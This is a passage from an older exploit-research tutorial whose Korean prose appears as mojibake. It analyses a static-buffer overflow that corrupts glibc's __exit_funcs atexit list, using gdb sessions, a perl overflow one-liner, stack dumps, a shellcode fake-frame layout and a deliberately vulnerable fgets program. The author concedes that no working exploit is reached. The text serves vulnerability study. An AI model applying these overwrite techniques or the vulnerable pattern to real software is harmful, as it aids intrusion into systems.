0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043 #1 0x00000001 in ?? () #2 0x08048520 in exit (status=134868224) at exit.c:70 (gdb) À§¿¡¼­ º¸¸é °©ÀÚ±â eip()°ªÀÌ ¾û¶×ÇÑ °÷À» ÇâÇßÀ½À» ¾Ë ¼ö ÀÖ´Ù. [mutacker@int static]$ ./vul `perl -e 'print "A"x160, "\xff\xff\xff\xff"'` Segmentation fault (core dumped) [mutacker@int static]$ !gdb gdb -q vul core Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043 3043 malloc.c: No such file or directory. in malloc.c (gdb) x/16 &initial 0x809eda0 : 0xffffffff 0x00000000 0x00000004 0x0808e260 0x809edb0 : 0x00000000 0x00000000 0x00000000 0x00000000 0x809edc0 : 0x00000000 0x00000000 0x00000000 0x00000000 0x809edd0 : 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) bt #0 0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043 #1 0x00000000 in ?? () (gdb) p __exit_funcs $1 = (struct exit_function_list *) 0xffffffff __exit_funcsÇÔ¼öÀÇ Æ÷ÀÎÅÍ °ªÀÌ ¿ì¸®°¡ ³ÖÀº 0xffffffff·Î ¼³Á¤µÇ¾î ÀÖÀ½À» È®ÀÎÇÒ ¼ö ÀÖ´Ù. ¾î¶»°Ô ±×·¸°Ô µÇ¾úÀ»±î? ÀÚ!! ºÐ¼®À» ½ÃÀÛÇغ¸ÀÚ. exit() ºÎºÐÀ» º¸ÀÚ. while (__exit_funcs != NULL) { struct exit_function_list *old; while (__exit_funcs->idx > 0) { const struct exit_function *const f = &__exit_funcs->fns[--__exit_funcs->idx]; switch (f->flavor) { case ef_free: case ef_us: break; case ef_on: (*f->func.on.fn) (status, f->func.on.arg); break; case ef_at: (*f->func.at) (); break; case ef_cxa: (*f->func.cxa.fn) (f->func.cxa.arg, status); break; } } old = __exit_funcs; __exit_funcs = __exit_funcs->next; if (__exit_funcs != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (old); } ¿¡·¯³­ ºÎºÐÀ» º¸¸é free()¸¦ ÇÏ´Â ½ÃÁ¡¿¡¼­ ¿¡·¯°¡ ³µÀ½À» ¾Ë ¼ö ÀÖ´Ù. Áï, free(old); ºÎºÐ¿¡ old °ªÀÌ 0xffffffff°ªÀ» °®°í Àֱ⠶§¹®¿¡ ¿¡·¯°¡ ¹ß»ýÇÑ °ÍÀÌ´Ù. 0x809eda0 : 0xffffffff 0x00000000 0x00000004 0x0808e260 À§ÀÇ ³»¿ëÀ» ¼ø¼­´ë·Î »ìÆ캸¸é __exit_funcsÀº Ãʱâ 0x809eda0À» °®´Â´Ù. µû¶ó¼­, __exit_funcs->next = 0xffffffff, __exit_funcs->idx = 0À» °®°ÔµÈ´Ù. À§ÀÇ È帧¿¡ µû¶ó idx°ªÀÌ 0ÀÌ µÇ¾î¹ö·ÈÀ¸¹Ç·Î, while (__exit_funcs->idx > 0) Á¶°Ç¿¡ ¸¸Á·ÇÏÁö ¸øÇÏ°í old = __exit_funcs; __exit_funcs = __exit_funcs->next; if (__exit_funcs != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (old); __exit_funcs¿¡ 0xffffffff°¡ ÀúÀåµÇ°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ±×¸®°í, ´Ù½Ã ·çÇÁ°¡ µ¹¾Æ µ¹¾Æ¿ÔÀ» ¶§, 0xffffffff°¡ free()°¡ µÇ·Á°í ÇÏ°Ô µÇ°í, ÀÌ·Î ÀÎÇØ ¿À·ù°¡ ¹ß»ýÇÒ °ÍÀ¸·Î ¿¹»óµÈ´Ù. ¿ì¸®´Â ¿©±â¿¡¼­ exploitÀ» ¸¸µå´Âµ¥ À־ µÎ°¡Áö ¹æ¹ýÀÌ Á¸ÀçÇÒ °ÍÀ¸·Î ¿¹»óµÈ´Ù. ù¹ø°´Â __exit_funcsÀ» À§ÇÑ fake frameÀ» Çϳª ¸¸µé¾î¼­ Ç®ÀÌÇÏ´Â ¹æ¹ýÀÌ´Ù. µÎ¹ø°´Â free() bug¸¦ ÀÌ¿ëÇØ º¸´Â °ÍÀÌ´Ù. ÀÌ ¹®¼­¿¡¼­´Â ¸ÕÀú ù¹ø° ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© Çغ¸°í, ÀÌÈÄ¿¡ µÎ¹ø° ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© ÇØ°áÇØ º¸·ÁÇÑ´Ù. ¸ÕÀú __exit_funcsÀ» À§ÇÑ fake frameÀ» Çϳª ¸¸µé¾î¼­ ÇØ°áÇÏ´Â ¹æ¹ýÀ» ÅëÇØ ÇØ°áÇØ º¸µµ·Ï ÇÏÀÚ. À̸¦ À§Çؼ­´Â ¿ì¸®´Â ¾Æ·¡¿Í °°Àº ¼³Á¤ ÇÊ¿äÇÒ °ÍÀÌ´Ù. (1) __exit_funcs->idxÀÇ °ªÀ» 0º¸´Ù Å« ¼ö¸¦ ÀúÀå (2) f->flavor¿¡ ef_at¿¡ ÇØ´çÇÏ´Â ¼ö¸¦ ÀúÀå (3) f->func.at ºÎºÐ¿¡ ½©ÄÚµå ÁÖ¼Ò¸¦ ÀúÀå À̸¦ À§Çؼ­´Â __exit_funcsÀÇ fake frameÀÌ ´ÙÀ½°ú °°Àº ÇüŸ¦ ÃëÇÒ °ÍÀ¸·Î ¿¹»óµÈ´Ù. [next¸¦ À§ÇÑ ¾î¶² °ª] [0º¸´Ù Å«¼ö] [flavor¸¦ À§ÇØ 0x00000003] [shellcodeÁÖ¼Ò] [ÁÖ¼Ò] ... Çåµ¥, À§¿¡¼­ ¿ì¸®´Â ¹®Á¦°¡ Çϳª ¹ß»ýÇß´Ù. 0x00000003 ºÎºÐ¿¡ ¿ì¸®°¡ ¾Æ±Ô¸ÕÆ®·Î´Â ³Ñ±æ¼ö ¾ø´Â 0x00°ªÀÌ ³Ê¹« ¸¹ÀÌ µé¾î°£´Ù´Â °ÍÀÌ´Ù. Èì!!! ù¹ø° ¹æ¹ýÀ¸·Î ÇØ°áÀÌ ¾î·Æ´Ù´Â °ÍÀΰ¡? ¿©±â¿¡¼­ ¿ì¸®´Â ÁÖÀú¾ÉÀ» ÇÊ¿ä´Â ¾ø´Ù. ù¹ø° ·çÇÁ¿¡¼­ ¾ÈµÇ¸é µÎ¹ø° ·çÇÁ¿¡¼­ °¡´ÉÇϵµ·Ï ÇÏ¸é µÇ´Â °ÍÀÌ´Ù. À̸¦ À§ÇØ ¿ì¸®´Â __exit_funcs = __exit_funcs->next; ÀÌ ¶óÀÎÀ» ÀÌ¿ëÇØ º¼ °ÍÀÌ´Ù. ¸¸ÀÏ __exit_funcs->next ÀÌ ÁÖ¼Ò¿¡ À§¿¡¼­ ¼³Á¤ÇÑ °Í°ú ºñ½ÁÇÑ ÇüÅÂÀÇ ³»¿ëÀÌ ¸Þ¸ð¸®¿¡ Á¸ÀçÇÑ´Ù¸é ±×°÷ÀÇ ÁÖ¼Ò¸¦ __exit_funcs->next¿¡ ¼³Á¤ÇÏ¸é µÉ °ÍÀ̶ó´Â °ÍÀÌ´Ù. ¿©±â¿¡¼­ ¿ì¸®´Â Àý´ë·Î \x00À» ÀÔ·ÂÀ¸·Î ³ÖÀ» ¼ö ¾øÀ½¿¡ ÁÖÀÇÇÏÀÚ!! ÀÚ ±×·¯¸é ¸ÕÀú À§¿¡¼­ ¼³Á¤ÇÑ ÇüÅÂ¿Í ºñ½ÁÇÑ °÷ÀÌ Àִ°¡¸¦ ¸ÕÀú ã¾Æº¸ÀÚ!! ¾øÀ¸¸é ³¡ÀåÀÌ´Ù. ¾îµò°¡¿¡¼­ Àú·± ÇüŸ¦ ±¸ÇÒ¼ö ÀÖÀ»±î? ¿ì¸®´Â main(int argc, char* argv[]) ¿¡¼­ mainÀÇ ¸Å°³º¯¼ö°¡ ¾î¶»°Ô ±¸¼ºµÇ¾îÀÖÀ»±î¿¡ ÁÖ¸ñÇØ º¸ÀÚ. [mutacker@int static]$ ./vul AAAAA AAAAA argc : 0xbffffcd0 0xbffffcc0 00 00 00 00 40 e9 08 08 08 fd ff bf 82 87 04 08 ....@........... ~~~~~~~~~~~~~~~~~~~~~~~ 0xbffffcd0 03 00 00 00 34 fd ff bf 44 fd ff bf 00 00 00 00 ....4...D....... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0xbffffce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffffcf0 40 e9 08 08 b4 80 04 08 50 86 04 08 00 00 00 00 @.......P....... 0xbffffd00 03 00 00 00 00 00 00 00 00 00 00 00 01 81 04 08 ................ 0xbffffd10 50 86 04 08 03 00 00 00 34 fd ff bf b4 80 04 08 P.......4....... 0xbffffd20 40 e9 08 08 00 00 00 00 2c fd ff bf 00 00 00 00 @.......,....... 0xbffffd30 03 00 00 00 ec fd ff bf f2 fd ff bf f8 fd ff bf ................ 0xbffffd40 00 00 00 00 fe fd ff bf 18 fe ff bf 31 fe ff bf ............1... 0xbffffd50 44 fe ff bf 5c fe ff bf 7e fe ff bf 8a fe ff bf D...\...~....... 0xbffffd60 98 fe ff bf a3 fe ff bf c2 fe ff bf e0 fe ff bf ................ 0xbffffd70 f5 fe ff bf 15 ff ff bf 20 ff ff bf 31 ff ff bf ........ ...1... 0xbffffd80 39 ff ff bf 49 ff ff bf 57 ff ff bf 68 ff ff bf 9...I...W...h... 0xbffffd90 76 ff ff bf 80 ff ff bf 94 ff ff bf d8 ff ff bf v............... 0xbffffda0 e0 ff ff bf 00 00 00 00 10 00 00 00 ff f9 83 03 ................ 0xbffffdb0 06 00 00 00 00 10 00 00 11 00 00 00 64 00 00 00 ............d... ~~~~~~~~~~~~~~~~~~~~~~~ 0xbffffdc0 0f 00 00 00 e7 fd ff bf 00 00 00 00 00 00 00 00 ................ ~~~~~~~~~~~~~~~~~~~~~~~ 0xbffffdd0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xbffffde0 00 00 00 00 00 00 00 69 36 38 36 00 2e 2f 76 75 .......i686../vu 0xbffffdf0 6c 00 41 41 41 41 41 00 41 41 41 41 41 00 50 57 l.AAAAA.AAAAA.PW ÇÁ·Î±×·¥À» ¾à°£ º¯°æÇÏ¿© ¸Þ¸ð¸®ÀÇ ³»¿ëÀ» »ìÆ캸¾Ò´Ù. À§ÀÇ ~~~ ºÎºÐ¿¡ ÁÖ¸ñÇ϶ó. ¾î¶²°¡? Á¤¸» ±»ÀÌ´Ù. ¾î¼¸é Àú¸®µµ ¿ì¸®°¡ ¿øÇÏ´Â ÇüÅÂ¿Í µ¿ÀÏÇÑ ÇüŸ¦ ¶ç¾îÁØ´Ü ¸»Àΰ¡? À§¿¡¼­ 03 00 00 00 ÀÌ ºÎºÐÀº ÀÎÀÚÀÇ °¹¼ö¸¦ argv[0], argv[1], ¼øÀ¸·Î ½ÇÁ¦ ¸Þ¸ð¸® »óÀÇ ÁÖ¼Ò°ªÀÌ ³ª¿À°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ±×·¯¸é ¿ì¸®´Â argcÀÇ ÁÖ¼Ò¿¡¼­ -8À» ÇÑ À§Ä¡ÀÇ ÁÖ¼Ò¸¦ __exit_funcs->next¿¡ ¼³Á¤ÇÏ¸é ´ÙÀ½ ·çÇÁ¿¡¼­ __exit_funcs->idx¿¡ 0x08048101, f->flavor = 0x00000003, f->func.at¿¡´Â argv[0] ½ÄÀ¸·Î µé¾î°£´Ù. ±ä±Þ»çÅ ¹ß»ý ¤Ñ¤Ñ; const struct exit_function *const f = &__exit_funcs->fns[--__exit_funcs->idx]; À§¿¡¼­ __exit_funcs->idxÀÇ °ªÀÌ ÇöÀç ³Ê¹« Å©´Ù. µû¶ó¼­ À妽º °ªÀÌ ³Ê¹« Å©°Ô ÀÛ¿ëÇϹǷÎ, ¿¡·¯°¡ ³¯ °¡´É¼ºÀÌ º¸ÀδÙ. ÀÌÀü ¹öÁ¯¿¡¼­´Â flavor°¡ ¾ø¾ú´Ù. ¤Ñ¤Ñ; ±×·¯¸é ´Ù½Ã ÀÌ¿Í À¯»çÇϸ鼭 __exit_funcs->idx°ªÀÌ ÀÛÀº ¿µ¿ªÀ» ã¾Æ¾ß ÇÑ´Ù. ¤Ñ¤Ñ; ¾ø´Ù.. Èì³Ä~ Á¤¸» ¾ø´Ù ¤Ñ¤Ñ; ¸¸ÀÏ ¿ø¹®Á¦¿Í °°Àº ¾ÆÁÖ ´Ü¼øÇÑ ÇÁ·Î±×·¥ÀÌ ¾Æ´Ï¶ó, Ç¥ÁØÀÔ·ÂÀ» ÅëÇØ ÀÔ·ÂÀ» ¹Þ¾ÆµéÀÌ´Â ºÎºÐÀÌ Á¸ÀçÇÑ´Ù¸é, ±× ÇÁ·¹ÀÓÀ» ²Ù¹Ì°í, ±×°÷À¸·Î nextÆ÷ÀÎÅ͸¦ µ¹¸²À¸·Î½á Àû¿ëÀÌ °¡´ÉÇϸ®¶ó »ý°¢µÈ´Ù. ÀÌ ºÎºÐ¿¡ ´ëÇØ ÀÌÈÄ¿¡ º°µµ·Î ½ÇÇèÀ» Çغ¸µµ·Ï ÇÏ°Ú´Ù. ¸¸ÀÏ À§ÀÇ ¹®Á¦°¡ ´ÙÀ½°ú °°Àº ÇüŶó¸é ¹®Á¦´Â ½±°Ô ÇØ°áÀÌ °¡´ÉÇÒ °ÍÀÌ´Ù. <-- copy from here #include int main(int argc,char *argv[]) { static char buf[128]; fgets(buf, 500, stdin); } -- to here --> À§¿Í °°Àº ÇüŶó¸é, Ç¥ÁØÀÔ·ÂÀ» ÅëÇÏ¿© \x00¿¡ ÇØ´çÇÏ´Â °ªÀ» ÀÔ·ÂÀ» ¹ÞÀ» ¼ö Àֱ⠶§¹®¿¡, ½±°Ô ÇÁ·¹ÀÓÀ» ¸¸µé¾î¹ö¸± ¼ö ÀÖ´Ù. À̸¦ ÅëÇØ ½±°Ô exploitÀÇ Á¦ÀÛÀÌ °¡´ÉÇÏ´Ù. ¸¸ÀÏ next±îÁö¸¸ ¿À¹ö°¡ °¡´ÉÇÏ´ÙÇÒÁö¶óµµ, ÀÌ ¶ÇÇÑ static º¯¼ö¿¡ ÇÁ·¹ÀÓÀ» ±¸¼ºÇÏ°í static º¯¼öÀÇ ÁÖ¼Ò¸¦ next°ªÀ¸·Î ¼³Á¤ÇÏ¸é µÇ´Â °ÍÀ̱⠶§¹®¿¡ ±×¸® ¾î·Á¿î ¹®Á¦°¡ µÇÁö ¾Ê´Â´Ù. ÀÌÁ¦ ³²Àº °Ç free()¹ö±×¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ý¸¸ÀÌ ³²¾ÆÀÖ´Ù. ÀÌ ºÎºÐÀº ÀÌ ¹®¼­ÀÇ ´ÙÀ½ ¹öÁ¯¿¡¼­ ½ÃµµÇϵµ·Ï ÇÏ°Ú´Ù. ³Ê¹« ÇÇ°ïÇؼ­¸® ¤Ñ¤Ñ; /////////////////////////////////////////////////////////////////////////////////////////////// /////// 6. °á·Ð ¾Æ±Ô¸ÕÆ®³ª ȯ°æº¯¼ö¿Í °°Àº 0°ªÀ» Àü´ÞÇÒ ¼ö ¾ø´Â »óȲ¿¡¼­ÀÇ static char buffer overflow¿¡ °ü·ÃµÈ »çÇ×À» ½ÇÇèÀ» ÅëÇØ ¾Ë¾Æº¸¾Ò´Ù. ¾ÆÁ÷, free()¹ö±× ±â¹ýÀ» Àû¿ëÇغ¸Áö´Â ¸øÇßÀ¸¸ç, ÀÌ¿¡ ´ëÇؼ­´Â º» ¹®¼­¸¦ ¼öÁ¤ÇØ°¡¸é¼­ °ËÅäÇϵµ·Ï ÇÒ °ÍÀÌ´Ù. ±âÁ¸¿¡ Á¦À۵Ǿú´ø PascalÀÇ ¹®¼­°¡ glibc¹öÁ¯ÀÌ ¿Ã¶ó°¡¸é¼­ ½ÇÁ¦ Àû¿ëÀÌ ¾î·Á¿òÀ» ¾Ë¾Æº¸¾Ò´Ù. ÇöÀç, free()±â¹ýÀ» Àû¿ëÇÏÁö ¸øÇßÁö¸¸, ½ÇÁ¦ Àû¿ëÇßÀ» ¶§ ÃæºÐÈ÷ exploitÀÌ °¡´ÉÇÒ °ÍÀ¸·Î º¸ÀδÙ. º» ¹®¼­¿¡¼­´Â static char buffer overflow¿¡ °ü·ÃµÈ »çÇ×À» ¾Ë¾Æº¸¸é¼­, atexit()ÇÔ¼ö¿¡ ÀÇÇØ »ý¼ºµÇ´Â __exit_funcsÀÇ »ý¼º ¹× »ç¿ë, ±¸Á¶¿¡ ´ëÇØ ¾Ë¾Æº¸°í, ¾î¶»°Ô exploitÀÌ °¡´ÉÇϰڴ°¡¿¡ ´ëÇÑ ±¸Á¶¿¡ ´ëÇØ ¾Ë¾Æº¸¾Ò´Ù. Áï, º» ¹®¼­¸¦ ÅëÇØ ½ÇÁ¦ exploit¿¡ ´ëÇÑ Á¦ÀÛ ±â¹ýÀº ¼Ò°³ÇÏÁö ¸øÇÔÀ» Á˼ÛÇÏ°Ô »ý°¢ÇÑ´Ù. ±Ù ½ÃÀϳ»¿¡ »õ·Î ¼öÁ¤µÈ ¹öÁ¯À» ±â´ëÇØ º»´Ù. ¶§·Î´Â ½ÇÆеµ ¼º°øÀÇ ¾î¸Ó´Ï·¨´Ù. ^^; /////////////////////////////////////////////////////////////////////////////////////////////// /////// 7. Âü°í ¹®Ç壺 [1]. w00w00 on Heap Overflows By: Matt Conover (a.k.a. Shok) & w00w00 Security Team [2]. __atexit in memory bugs By Pascal Bouchareine